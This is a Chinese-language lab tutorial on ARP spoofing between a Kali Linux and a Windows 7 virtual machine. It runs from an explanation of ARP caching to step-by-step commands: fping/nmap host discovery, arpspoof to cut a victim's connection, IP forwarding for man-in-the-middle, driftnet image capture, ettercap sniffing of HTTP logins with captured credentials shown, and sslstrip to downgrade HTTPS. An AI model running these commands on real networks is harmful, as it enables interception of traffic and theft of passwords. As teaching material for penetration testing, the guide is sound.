ARP 断网+欺骗 攻击(较麻烦,是为了理解原理做的实验)

地址解析协议 ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个 TCP/IP协议。

主机
发送信息时将包含目标
IP
地址的
ARP
请求广播到网络上的所有主机,并接收返回消息,

以此确定目标的物理地址;收到返回消息后将该
IP
地址和物理地址存入本机
ARP
缓存中并保

留一定时间,下次请求时直接查询
ARP
缓存以节约资源。

ARP协议的基本功能

通过目标设备的IP地址,查询目标

设备的MAC地址,以保证通信的进

行。

基本功能

局限性:仅能在局域网进行。

ARP缓存表

ARP缓存表是个用来储存IP地址和MAC地址的
缓冲区
,其本质就是一

个IP地址-->MAC地址的对应表,表中每一个条目分别记录了网络上

其他主机的IP地址和对应的MAC地址。

每一个以太网都有自己单独的表。当地址解析协议被询问一个已知IP

地址
节点
的MAC地址时,先在ARP缓存表中查看,若存在,就直接返

回与之对应的MAC地址,若不存在,才发送ARP请求向
局域网
查询。

ARP常用命令

arp -a

arp –g

用于查看缓存中的所有项目。
-a

-g
参数的结果是一样的,

多年来
-g
一直是
UNIX
平台上用来显示
ARP
缓存中所有项目

的选项,而
Windows
用的是
arp -a

-a
可被视为
all
,即全部

的意思),但它也可以接受比较传统的
-g
选项。

arp -a ip

如果有多个网卡,那么使用
arp -a
加上接口的
IP
地址,

就可以只显示与该接口相关的
ARP
缓存项目。

ARP欺骗(英语:ARP spoofing),又称
ARP毒化
(ARP

poisoning,网上上多译为ARP病毒)或ARP攻击,是针对

太网地址解析协议

ARP
)的一种攻击技术,通过欺骗局域

网内访问者PC的网关MAC地址,使访问者PC错以为攻击者

更改后的MAC地址是网关的MAC,导致网络不通。此种攻

击可让攻击者获取
局域网
上的数据包甚至可篡改数据包,

且可让网上上特定计算机或所有计算机无法正常连线。

常见的ARP欺骗手法:同时对局域网内的一台主机和网关进

行ARP欺骗,更改这台主机和网关的ARP缓存表。

攻击主机PC2发送ARP应答包给被攻击主机PC1和网关,分

别修改它们的ARP缓存表, 将它们的ip地址所对应的MAC地

址,全修改为攻击主机PC2的MAC地址,这样它们之间数据

都被攻击主机PC2截获。

渗透测试实战之(1.ARP断网攻击 2.ARP欺骗攻击)

先学断网,在学欺骗(这个实验先断网才能欺骗)

实验环境:

1. 软件:VMware Workstations14以上版本

2. 虚拟机:Kali-Linux、Windows 7

1) 打开虚拟机:启动kali-linux 启动windows7(未装补丁)

2) 获取IP地址(ifconfig、ipconfig)

Kali-Linux :192.168.111.130

Windows 7: 192.168.111.129

在虚拟机环境下配置 “Win7”和“Kali Linux”2个虚拟系统,使得虚拟系统之间能够相互通信。

实验步骤

具体攻击实现

  具体的中间人攻击,大体上可以分为以下几个步骤:

1. 对目标主机进行ARP欺骗,声称自己是网关。

2. 转发目标的NAT数据到网关,维持目标的外出数据。

3. 对网关进行ARP欺骗,声称自己是目标主机。

4. 转发网关的NAT数据到目标主机,维持目标的接收数据。

5. 监听劫持或者修改目标的进入和外出数据,从而实现攻击。

其中1,3都是ARP欺骗;2,4都是转发,下面会分别说到。

1、断网攻击实施步骤

步骤1:在Win7中,在命令提示符中输入命令“ipconfig /all”查看自身的MAC地址和网关IP地址。然后输入命令“ arp –a”查看ARP缓存表中的网关MAC地址。

步骤2:在kali终端中,输入命令“ifconfig”,查看kali的IP地址与MAC地址,如图所示。

步骤3:主机扫描

方法1:执行ping扫描最简单的方法是使用工具fping,fping使用ICMP ECHO一次请求多个主机,对当前局域网还存在那些主机进行快速扫描,以确定要攻击的主机的ip地址。

fping -a -g 192.168.254.0/24 > result

#使用fping工具扫描了192.168.254.0/24网段内的所有主机,并将扫描结果输出到result文件中。其中,-a参数表示只输出活动的主机,-g参数表示扫描整个网段。

方法2:执行nmap -sP 192.168.254.0/24,扫描网络中活跃的主机。(推荐使用)

-sP 选项表示只利用ping扫描进行主机发现,不进行端口扫描

-sS 进行TCP的半开放扫描,如果禁ping的时候可以使用这个参数

注:用nmap进行主机扫描速度快,而且能穿透防火墙,是比较可靠的扫描工具。

步骤4arpspoof 是一款进行arp欺骗的工具,攻击者通过毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。

注意:

运行 arpspoof 命令时提示:arpspoof未找到命令,其原因是你还未安装 arpspoof 工具;

arpspoof 是 dsniff 的一个附属工具,所以我们需要安装的是 dsniff :使用以下命令安装dsniff:apt-get install dsniff

步骤5-1:更换更新源为阿里云,原有的更新源加#号注释

#vim /etc/apt/sources.list

deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

步骤5-2:修改完成后执行apt-get update命令完成更新

步骤5-3:重新安装命令,apt-get install dsniff

命令格式:arpspoof  -h  #查看arpspoof版本信息

-i 后面的参数是网卡名称

-t 后面的参数是目的主机和网关,截获目的主机发往网关的数据包

步骤6:断网攻击:arpspoof -i eth0 -t 192.168.254.129 192.168.254.2

1)可以看到,当ARP攻击开始时,就出现了请求超时的提示(-t 持续ping,需手动结束)

2)arp  -a   查看靶机网关mac地址的变化

3)此时再次到win7上测试网络,如无特殊情况,win7 已经无法连接到互联网了,状态如下:

2、arp欺骗

Arp欺骗:目标ip的流量经过我的网卡,从网关出去。

Arp断网:目标ip的流量经过我的网卡

1.  echo 1  >/proc/sys/net/ipv4/ip_forward

设置ip流量转发,不会出现断网现象

有时不能这样直接修改,还有另外一种方法

修改/etc/sysctl.conf文件,使得net.ipv4.ip_forward = 1;等于0为不转发。然后更新使用命令 sysctl -p

3.攻击利用

此时,win7和网关通信的数据包都会流经kali,

kali 中利用driftnet工具,可以捕获win7机器正在浏览的图片

Driftnet是一个监听网络流量并从它观察到的TCP流中提取图像的程序。

在命令行输入:

apt-get install driftnet

driftnet -i eth0

当我使用win7上网时,从图中可以看出,kali 正在不断地捕获win7和网卡之间的数据包(其中有警告:图片太小没法抓取)

Driftnet是一个监听网络流量并从它观察到的TCP流中提取图像的程序。

只能抓取http协议网址下的图片:

测试网站:

后台登录

http://www.win4000.com/

元气桌面壁纸官网——动态壁纸桌面—高清壁纸下载

 

实验2:HTTP账户密码获取

目标机器:192.168.237.131

网关:192.168.237.2

Kali攻击机:192.168.237.129

1.开始arp欺骗:arpspoof -i eth0 -t 192.168.237.131 192.168.237.2
03:

ettercap:一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。

借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明

文数据通讯的安全性,及时采取措施,避免敏感的用户名/

密码等数据以明文的方式进行传输。ettercap几乎是每个渗

透测试人员必备的工具之一。

ettercap -Tq -i eth0

-T 文本模式输出,不使用图形用户界面 -q 静默模式

-i 指定要监听的网络接口
03
综合应用-HTTP账户密码获取

1.启动:ettercap -Tq -i eth0
03
综合应用-HTTP账户密码获取

2.受害者访问登录网址,输入用户名及密码。这里我输入zhangsan/123456
03 

返回kali攻击机,查看记录。

HTTP : 118.24.112.177:80 -> USER: zhangsan PASS: 12345678 INFO:

http://a.aixjt.com/AdminPublic.html

CONTENT:

ajax=1&submitLogin=1&password=12345678&account=zhangsan&verify=3487

实验3:HTTPS账户密码获取

SSL原理

SSL的作用是为了传输一些敏感信息(比如凭证账号密码)提供安全可靠的保障,确保用户使用浏览器和服务器之间传输的数据是安全可信的
当我们访问HTTPS类型的网站,浏览器首先是向服务器发送HTTP层面的请求,并且附带证书验证,在得到双方证书有效后,两者开始SSL安全通信。

1.实验步骤
先编辑下/etc/ettercap/etter.conf
命令:vim /etc/ettercap/etter.conf
把以下四行#去掉

进入vim状态:
按下i,进入编辑

2.开启ARP欺骗
arpspoof -t 目标 网关 -i 设备

3.启动sslstrip
sslstrip -a -f -k

4.利用ettercap进行https/http密码嗅探
ettercap -Tq -i 攻击机网络名